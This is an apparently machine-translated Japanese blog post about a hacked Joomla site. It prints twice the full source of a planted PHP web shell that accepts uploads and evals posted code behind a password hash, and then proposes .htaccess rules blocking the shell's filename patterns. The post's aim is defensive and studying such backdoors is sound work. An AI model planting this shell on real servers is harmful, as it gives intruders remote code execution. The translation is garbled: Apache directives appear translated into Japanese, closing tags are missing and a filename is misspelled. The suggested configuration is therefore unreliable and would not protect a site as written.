今日、Joomlaサイトをハッキングする問題に遭遇しました。問題の解決に役立つ方法の1つを共有したいと思います。
このソリューションはJoomlaに固有のものではなく、他のケースでも役立つ可能性が高いと言いたいです。
FTPに名前付きの奇妙なファイルがたくさんあることがわかった場合
lib __ *、co __ *、pre __ *、net __ *、func __ *、ad __ *、ext __ *、new __ *、old __ *、fix __ *、fixed __ *、na __ *、av __ *、fx __ *、update __ *、patch__
ここで、*はこのディレクトリにあるファイル名の1つであり、その内容は次のようになります。
<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;
define('PASSWD','8487929db643f81df2d8a2bcfd173348');
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("mark_$t"));
};
echo ""; testdata('start'); if (md5($_POST["p"]) == PASSWD) { if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"), $HTTP_POST_FILES["s"]["size"])) { if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code)) { testdata('save_ok'); }; //eval($code); } else { testdata('save_fail'); }; if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"])) { eval($code); testdata('ok'); } else { testdata('fail'); }; } else { testdata('pass'); }; testdata('end'); echo " ";
?>
<?php
@error_reporting(E_ALL);
@set_time_limit(0);
global $HTTP_SERVER_VARS;
define('PASSWD','8487929db643f81df2d8a2bcfd173348');
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("mark_$t"));
};
echo ""; testdata('start'); if (md5($_POST["p"]) == PASSWD) { if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"), $HTTP_POST_FILES["s"]["size"])) { if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code)) { testdata('save_ok'); }; //eval($code); } else { testdata('save_fail'); }; if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"), $HTTP_POST_FILES["f"]["size"])) { eval($code); testdata('ok'); } else { testdata('fail'); }; } else { testdata('pass'); }; testdata('end'); echo " ";
?>
サイトがハッキングされてアップロードされました。 シェルと呼ばれます。
何を理解しているのか、それらを無効にする最も簡単なファイルは、次の行を.htaccess(add)に追加することです。
<FilesMatch "^(lib|co|pre|net|func|ad|ext|new|old|fix|fixed|na|av|fx|update|patch)__.*?\.php">
Order allow,deny
Deny from all
<FilesMatch "^ offlline \ .php $">
注文許可、拒否
すべてから拒否
ファイルは無効化されますが、これだけに限定することはお勧めしません。 これは、少なくとも2つの問題の結果です。
1.すべてのクロールに使用できる穴があります
2.どこかにこれをすべて配布したファイルがあります。 そして、対策を講じなければ、他の修正がそれを埋めることができます。
3.これにより、Webサーバーのパフォーマンスが低下するという非常に高い疑いがあります。